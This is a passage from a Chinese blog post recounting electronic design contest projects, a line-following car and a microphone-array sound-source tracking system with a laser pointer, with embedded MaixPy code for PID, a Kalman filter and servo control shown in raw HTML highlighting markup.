punctuation">.</span>_imax            output <span class="token operator">+=</span> self<span class="token punctuation">.</span>_integrator        <span class="token keyword">return</span> output    <span class="token keyword">def</span> <span class="token function">reset_I</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>        self<span class="token punctuation">.</span>_integrator <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>_last_derivative <span class="token operator">=</span> <span class="token builtin">float</span><span class="token punctuation">(</span><span class="token string">'nan'</span><span class="token punctuation">)</span></code></pre><p>起点路线的判断：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token comment"># Basic_speeds -> 0.3m/s -> 0.5m/s -> 0.6m/s -> 0.7m/s -> 0.9m/s -> 1.0m/s</span>self<span class="token punctuation">.</span>basic_speed_list <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">25</span><span class="token punctuation">,</span> <span class="token number">40</span><span class="token punctuation">,</span> <span class="token number">48</span><span class="token punctuation">,</span> <span class="token number">56</span><span class="token punctuation">,</span> <span class="token number">64</span><span class="token punctuation">,</span> <span class="token number">70</span><span class="token punctuation">]</span><span class="token comment"># Question Speed and Route lists</span>self<span class="token punctuation">.</span>ques_speed_list <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">25</span><span class="token punctuation">,</span> <span class="token number">40</span><span class="token punctuation">,</span> <span class="token number">32</span><span class="token punctuation">,</span> <span class="token number">70</span><span class="token punctuation">]</span>self<span class="token punctuation">.</span>ques_route_list <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">]</span></code></pre><p>这次将所有的配置参数提取到setting.py中构造Setting类来提高封装度，也便于修改参数，ques_route_list即是小车所要行驶的路线通过遍历这个二维列表即可以知道小车的路线，那么，关键就在于转弯路口的判断</p><p><strong>转弯路口的判断：</strong></p><p>特征点匹配：虽然和题目要求及其相似，但是我们也还没有尝试过，故暂不做考虑。</p><p>模板匹配：拍模板，识别出来会有反馈，因为采用模板匹配这个功能需要sensor采用灰度测试，而基本的线路拟合又是RGB565，如果二者交叉测试的话，又担心MCU处理不过来，故也没有考虑模板匹配</p><p><img src="https://img.alexation.cn/blog/post/competition/NUEDC/2.png" alt=""></p><p><img src="https://img.alexation.cn/blog/post/competition/NUEDC/3.png" alt="当时拍的两张照片"></p><p>直线检测：遇到0°线段宽度大于设定值时则判断起停线，或者90°线段有检测到时判断起停线。我们组采用的是这种方法，因为看起来逻辑可行，有算法支撑，也不涉及到example的存储。但是参数整定真的好难！<span class="emoji" alias="cry" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f622.png?v8">😢</span>我们一直调到比赛结束也没有调的很好。</p><h4 id="细节实现-2">细节实现</h4><ol><li>小车路线的确定：题目中要求跟随小车的行驶<strong>完全</strong>由领头小车指挥控制，<strong>领头小车</strong>上有<strong>启动按键</strong>和<strong>设置按键</strong>，而<strong>跟随小车</strong>只有一个<strong>上电开关</strong>，不得有其他启动和操作按键。每一次行驶发车时，领头小车和跟随小车按照题目要求摆放在行驶路径的指定位置，跟随小车上电，处于等待接收领头小车指令的状态。领头小车一键启动行驶，直到整个行驶过程结束。故采用MSP430上的按键GPIO输出到OpenMV的固定端口上，再和Setting中设定的任务路线相匹配即可知道路线。</li><li>PID调节：这部分<a href="https://book.openmv.cc/project/follow-lines.html">星瞳科技快速上手部分</a>有提供源码</li><li>蜂鸣器：普通GPIO</li><li>蓝牙：串口通信，传输的数字对应相应的任务（0-3），4代表停车信号。</li><li>转弯方式：这里其实考虑了好多方法，包括定点sleep、开环转弯、设定ROI区域、调节PID…实际采用的是重新设定ROI区域，但效果不是很理想，包括后面并道的时候会有误差，而且实际的PID参数的整定还和车的长度、宽度等因素有关，不恰当的PID、ROI等参数会导致车轮打滑。</li></ol><h4 id="反思总结-2">反思总结</h4><ol><li>这次硬件和赛道很快到位，主要卡在了MCU的选择以及蓝牙通信上</li><li>PID参数整定啊啊啊啊啊、调参方式没有结合实际车的长宽等硬件信息（简直太难了。</li><li>最初启停线识别方案选择错误，最后没有时间修改</li><li>软件封装有些晚，应尽早确定方案后进行封装，将参数接口暴露。</li></ol><h3 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">2022大学生电子设计竞赛(校赛)</h3><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p>摘要：声源定位跟踪系统。</p></div><h4 id="关于题目-3">关于题目</h4><p>​设计制作一个声源定位跟踪系统，能够实时显示及指示声源的位置，当声源移动时能够用激光笔动态跟踪声源。 声源检测系统测量区域分布俯视如图 1 所示。</p><p><img src="https://img.alexation.cn/blog/post/competition/NUEDC/5.png" alt="图1 系统测量区域俯视图"></p><h4 id="要求">要求</h4><ol><li>设计并制作声音发生装置——“声源”，装置能独立工作，声音音量手动可调，装置最大边长或直径不超过 10cm，装置可用支架安装，并可在地面移动；声源中心点 B 用红色或其他醒目颜色标识，并在 B 点所在的平面以 B 点为圆心，直径为 5cm 画圆圈，用醒目线条标识，该平面面向检测指示装置（图中 A 点）。（4 分）</li><li>设计并制作一个声源定位检测装置，传感器安装在图 1 的 C 区范围内，高度不超过 1m，系统采用的拾音器 或麦克风传感器数量不超过 10 个；在装置上标记测试参考点 A，作为位置坐标的原点；装置上有显示电路，实时显 示 D 区域内声源的位置，显示 A、B 两点直线距离 γ 和以 A 点为原点，AB 在地面的投影与图 1 中心线的夹角 θ， 测量时间不超过 5s，距离 γ 和角度 θ 的测值误差越小越好。（36 分）</li><li>设计并制作一个声源指示控制装置，此装置和上述声源定位检测装置可以合为一体。也放置在图 1 的 C 区， 安装有激光笔和二维电动云台，能控制激光笔指向声源，定位计算过程中时，激光笔关闭，定位运算完成时激光笔 开启。定位指示声源时，动作反应时间不超过 10s，光点与 B 点偏差越小越好。（30 分）</li><li>声源移动动态追踪：当声源摆放在地面，用细绳牵引，以 0.2m/s 左右的速度在 D 区移动时，激光笔光点指 向 B 点，光点与 B 点偏差越小好，跟踪反应时间越短越好。（20 分）</li></ol><h4 id="解题过程">解题过程</h4><p>听说Sipeed的MIC阵列模块可以秒杀E题？<a href="https://wiki.sipeed.com/hardware/zh/modules/micarray.html">MicArray 麦克风阵列 - Sipeed Wiki</a></p><p>图2所示的麦克风阵列模块是 Sipeed 基于 MSM261S4030H0 数字麦克风芯片设计的，模块声音识别灵敏度、信噪比高，由沿板的六个麦克风和一个中心的麦克风组成，阵列板上的 12 颗 LED 可以用来可视化识别声源方位，基于 <code>GCC-PHAT</code> 算法实现声源定位、语音识别、波束成形等需求场合。</p><img src="https://img.alexation.cn/blog/post/competition/NUEDC/6.png" alt="图2 MicArray 麦克风阵列" style="zoom:50%;" /><p>对就是这个<span class="emoji" alias="anguished" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f627.png?v8">😧</span></p><h4 id="相关参数">相关参数</h4><table><thead><tr>  <th>功能特点</th>  <th>参数</th></tr></thead><tbody><tr>  <td>声压级</td>  <td>140 dB SPL</td></tr><tr>  <td>灵敏度</td>  <td>-26(dB,dBFS @1kHz 1Pa)</td></tr><tr>  <td>信噪比</td>  <td>57 dB (20kHz bandwidth,A-weighted) <br>THD&lt;1% (100dB SPL @1kHz S=Nom,Rload&gt;2k )</td></tr><tr>  <td>时钟频率</td>  <td>1.0-4.0Mhz(正常模式) <br>150-800khz(低功耗模式)</td></tr><tr>  <td>MEMS 麦克风</td>  <td>7 个 MSM261S4030H0 组成阵列</td></tr><tr>  <td>连接器</td>  <td>支持 2*5P 2.54mm 端子和 10P 0.5mm FPC 连接器</td></tr><tr>  <td>灯光</td>  <td>12 个 SK9822 LED 组成一个环形 LED 阵列</td></tr><tr>  <td></td>  <td>多个 LED 通过双信号线级联 / 8 Bit（256 级）可调颜色 / 5 Bit（32 级）亮度调节</td></tr><tr>  <td>尺寸</td>  <td>78.1*88.8mm</td></tr></tbody></table>与此同时，需要注意的是网络上有许多卖麦克风阵列的商家，不同商家卖的产品接口可能不相同，在购买或使用前一定要阅读产品的文档！<p>因为我买的是官方的产品，所以直接按照官方提供的代码逻辑套用即可。包括官方还给了一个2022年电赛E题声源定位跟踪系统做好的链接。。。我照着完善了一下代码框架，接上线后阵列模块非常容易受干扰（当然可以通过选择音源提高效果），需要进行一些处理。</p><p>下面是官方调用函数：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> Maix <span class="token keyword">import</span> MIC_ARRAY <span class="token keyword">as</span> mic<span class="token keyword">import</span> lcdlcd<span class="token punctuation">.</span>init<span class="token punctuation">(</span><span class="token punctuation">)</span>mic<span class="token punctuation">.</span>init<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment">#默认配置</span><span class="token comment">#mic.init(i2s_d0=23, i2s_d1=22, i2s_d2=21, i2s_d3=20, i2s_ws=19, i2s_sclk=18, sk9822_dat=24, sk9822_clk=25)#可自定义配置 IO</span><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>    imga <span class="token operator">=</span> mic<span class="token punctuation">.</span>get_map<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token comment"># 获取声音源分布图像</span>    b <span class="token operator">=</span> mic<span class="token punctuation">.</span>get_dir<span class="token punctuation">(</span>imga<span class="token punctuation">)</span>   <span class="token comment"># 计算、获取声源方向</span>    a <span class="token operator">=</span> mic<span class="token punctuation">.</span>set_led<span class="token punctuation">(</span>b<span class="token punctuation">,</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">255</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 配置 RGB LED 颜色值</span>    imgb <span class="token operator">=</span> imga<span class="token punctuation">.</span>resize<span class="token punctuation">(</span><span class="token number">160</span><span class="token punctuation">,</span><span class="token number">160</span><span class="token punctuation">)</span>    imgc <span class="token operator">=</span> imgb<span class="token punctuation">.</span>to_rainbow<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># 将图像转换为彩虹图像</span>    a <span class="token operator">=</span> lcd<span class="token punctuation">.</span>display<span class="token punctuation">(</span>imgc<span class="token punctuation">)</span>mic<span class="token punctuation">.</span>deinit<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>下面是最终的完整代码：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> Maix <span class="token keyword">import</span> MIC_ARRAY <span class="token keyword">as</span> mic<span class="token keyword">import</span> lcd<span class="token punctuation">,</span> image<span class="token keyword">import</span> time<span class="token keyword">import</span> math<span class="token keyword">from</span> Maix <span class="token keyword">import</span> GPIO<span class="token keyword">from</span> fpioa_manager <span class="token keyword">import</span> fm<span class="token keyword">from</span> machine <span class="token keyword">import</span> Timer<span class="token punctuation">,</span> PWM<span class="token comment"># MIC-IO</span>mic<span class="token punctuation">.</span>init<span class="token punctuation">(</span>i2s_d0<span class="token operator">=</span><span class="token number">32</span><span class="token punctuation">,</span> i2s_d1<span class="token operator">=</span><span class="token number">33</span><span class="token punctuation">,</span> i2s_d2<span class="token operator">=</span><span class="token number">34</span><span class="token punctuation">,</span> i2s_d3<span class="token operator">=</span><span class="token number">35</span><span class="token punctuation">,</span> i2s_ws<span class="token operator">=</span><span class="token number">9</span><span class="token punctuation">,</span> i2s_sclk<span class="token operator">=</span><span class="token number">10</span><span class="token punctuation">,</span> sk9822_dat<span class="token operator">=</span><span class="token number">11</span><span class="token punctuation">,</span> sk9822_clk<span class="token operator">=</span><span class="token number">15</span><span class="token punctuation">)</span><span class="token comment"># Laser-IO</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>GPIO0<span class="token punctuation">)</span>Laser <span class="token operator">=</span> GPIO<span class="token punctuation">(</span>GPIO<span class="token punctuation">.</span>GPIO0<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>OUT<span class="token punctuation">)</span><span class="token comment"># KEY-IO</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">26</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>GPIO1<span class="token punctuation">)</span>KG0 <span class="token operator">=</span> GPIO<span class="token punctuation">(</span>GPIO<span class="token punctuation">.</span>GPIO1<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>IN<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>PULL_DOWN<span class="token punctuation">)</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">27</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>GPIO2<span class="token punctuation">)</span>KG1 <span class="token operator">=</span> GPIO<span class="token punctuation">(</span>GPIO<span class="token punctuation">.</span>GPIO2<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>IN<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>PULL_DOWN<span class="token punctuation">)</span><span class="token comment"># SERVO-IO</span>tim <span class="token operator">=</span> Timer<span class="token punctuation">(</span>Timer<span class="token punctuation">.</span>TIMER0<span class="token punctuation">,</span> Timer<span class="token punctuation">.</span>CHANNEL0<span class="token punctuation">,</span> mode<span class="token operator">=</span>Timer<span class="token punctuation">.</span>MODE_PWM<span class="token punctuation">)</span>Servo_laser <span class="token operator">=</span> PWM<span class="token punctuation">(</span>tim<span class="token punctuation">,</span> freq<span class="token operator">=</span><span class="token number">50</span><span class="token punctuation">,</span> duty<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">,</span> pin<span class="token operator">=</span><span class="token number">17</span><span class="token punctuation">)</span><span class="token comment"># LCD-INIT-320*240 and MAP-INIT</span>lcd<span class="token punctuation">.</span>init<span class="token punctuation">(</span><span class="token punctuation">)</span>lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">46</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">230</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 上边线</span>lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">46</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">230</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 左边线</span>lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">46</span><span class="token punctuation">,</span> <span class="token number">235</span><span class="token punctuation">,</span> <span class="token number">230</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 下边线</span>lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">276</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">234</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 右边线</span>lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">237</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">234</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 右边线2</span>lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">77</span><span class="token punctuation">,</span> <span class="token number">47</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 左区域上边线</span>lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">154</span><span class="token punctuation">,</span> <span class="token number">47</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 左区域下边线</span>lcd<span class="token punctuation">.</span>fill_rectangle<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">77</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">77</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">255</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># 左区域左边线</span><span class="token keyword">class</span> <span class="token class-name">Argument</span><span class="token punctuation">:</span>    <span class="token triple-quoted-string string">"""Some Argus"""</span>    <span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token builtin">super</span><span class="token punctuation">(</span>Argument<span class="token punctuation">,</span> self<span class="token punctuation">)</span><span class="token punctuation">.</span>__init__<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token comment"># Normal</span>        self<span class="token punctuation">.</span>num <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>num2 <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>Angle_LB <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span>        self<span class="token punctuation">.</span>t <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>t1 <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>t2 <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>maxnum <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>minnum <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>jiaodu <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>Angle_last <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">]</span>        self<span class="token punctuation">.</span>i <span class="token operator">=</span> <span class="token number">100</span>        self<span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>        self<span class="token punctuation">.</span>times <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>pid <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>err <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>JD <span class="token operator">=</span> <span class="token number">0</span>        self<span class="token punctuation">.</span>output <span class="token operator">=</span> <span class="token number">0</span>        <span class="token comment"># Kalman Filter</span>        self<span class="token punctuation">.</span>KF_lastP <span class="token operator">=</span> <span class="token number">0.1</span>  <span class="token comment"># 上次的协方差</span>        self<span class="token punctuation">.</span>KF_nowP <span class="token operator">=</span> <span class="token number">0</span>  <span class="token comment"># 本次的协方差</span>        self<span class="token punctuation">.</span>KF_x_hat <span class="token operator">=</span> <span class="token number">0</span>  <span class="token comment"># 卡尔曼滤波的计算值，即为后验最优值</span>        self<span class="token punctuation">.</span>KF_Kg <span class="token operator">=</span> <span class="token number">0</span>  <span class="token comment"># 卡尔曼增益系数</span>        self<span class="token punctuation">.</span>KF_Q <span class="token operator">=</span> <span class="token number">0</span>  <span class="token comment"># 过程噪声</span>        self<span class="token punctuation">.</span>KF_R <span class="token operator">=</span> <span class="token number">0.01</span>  <span class="token comment"># 测量噪声</span>arguments <span class="token operator">=</span> Argument<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">kalman_filter</span><span class="token punctuation">(</span>argus<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">:</span>    argus<span class="token punctuation">.</span>output <span class="token operator">=</span> <span class="token number">0</span>  <span class="token comment"># output为卡尔曼滤波计算值</span>    x_t <span class="token operator">=</span> argus<span class="token punctuation">.</span>KF_x_hat  <span class="token comment"># 当前先验预测值 = 上一次最优值</span>    argus<span class="token punctuation">.</span>KF_nowP <span class="token operator">=</span> argus<span class="token punctuation">.</span>KF_lastP <span class="token operator">+</span> argus<span class="token punctuation">.</span>KF_Q  <span class="token comment"># 本次的协方差矩阵</span>    argus<span class="token punctuation">.</span>KF_Kg <span class="token operator">=</span> argus<span class="token punctuation">.</span>KF_nowP <span class="token operator">/</span> <span class="token punctuation">(</span>argus<span class="token punctuation">.</span>KF_nowP <span class="token operator">+</span> argus<span class="token punctuation">.</span>KF_R<span class="token punctuation">)</span>  <span class="token comment"># 卡尔曼增益系数计算</span>    argus<span class="token punctuation">.</span>output <span class="token operator">=</span> x_t <span class="token operator">+</span> argus<span class="token punctuation">.</span>KF_Kg <span class="token operator">*</span> <span class="token punctuation">(</span>value <span class="token operator">-</span> x_t<span class="token punctuation">)</span>  <span class="token comment"># 当前最优值</span>    argus<span class="token punctuation">.</span>KF_x_hat <span class="token operator">=</span> argus<span class="token punctuation">.</span>output  <span class="token comment"># 更新最优值</span>    argus<span class="token punctuation">.</span>KF_lastP <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">-</span> argus<span class="token punctuation">.</span>KF_Kg<span class="token punctuation">)</span> <span class="token operator">*</span> argus<span class="token punctuation">.</span>KF_nowP  <span class="token comment"># 更新协方差矩阵</span><span class="token keyword">def</span> <span class="token function">servo</span><span class="token punctuation">(</span>servo_inter<span class="token punctuation">,</span> angle<span class="token punctuation">)</span><span class="token punctuation">:</span>    servo_inter<span class="token punctuation">.</span>duty<span class="token punctuation">(</span><span class="token punctuation">(</span>angle <span class="token operator">+</span> <span class="token number">90</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">180</span> <span class="token operator">*</span> <span class="token number">10</span> <span class="token operator">+</span> <span class="token number">2.5</span><span class="token punctuation">)</span><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>    <span class="token comment"># Inner Params: [AngleX, AngleY, AngleR, Angle, AngleAddPi]</span>    angle_params <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span>    <span class="token comment"># MIC-Detecting</span>    img_a <span class="token operator">=</span> mic<span class="token punctuation">.</span>get_map<span class="token punctuation">(</span><span class="token punctuation">)</span>    img_b <span class="token operator">=</span> mic<span class="token punctuation">.</span>get_dir<span class="token punctuation">(</span>img_a<span class="token punctuation">)</span>    mic<span class="token punctuation">.</span>set_led<span class="token punctuation">(</span>img_b<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token comment"># If Ques 3</span>    <span class="token keyword">if</span> KG0<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span> <span class="token keyword">and</span> KG1<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>        arguments<span class="token punctuation">.</span>times <span class="token operator">+=</span> <span class="token number">1</span>        <span class="token keyword">if</span> arguments<span class="token punctuation">.</span>times <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>            time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>            Laser<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>    <span class="token comment"># Angle</span>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>img_b<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">if</span> img_b<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">:</span>            angle_params<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+=</span> img_b<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">*</span> math<span class="token punctuation">.</span>sin<span class="token punctuation">(</span>i <span class="token operator">*</span> math<span class="token punctuation">.</span>pi <span class="token operator">/</span> <span class="token number">6</span><span class="token punctuation">)</span>            angle_params<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">+=</span> img_b<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">*</span> math<span class="token punctuation">.</span>cos<span class="token punctuation">(</span>i <span class="token operator">*</span> math<span class="token punctuation">.</span>pi <span class="token operator">/</span> <span class="token number">6</span><span class="token punctuation">)</span>    angle_params<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">round</span><span class="token punctuation">(</span>angle_params<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span>    angle_params<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">round</span><span class="token punctuation">(</span>angle_params<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> angle_params<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">:</span>        angle_params<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">180</span>    <span class="token keyword">if</span> angle_params<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">&lt;</span> <span class="token number">0</span> <span class="token keyword">and</span> angle_params<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">:</span>        angle_params<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">360</span>    <span class="token keyword">if</span> angle_params<span class="token punctuation">[</span><span class="token number">0</span><span class="token 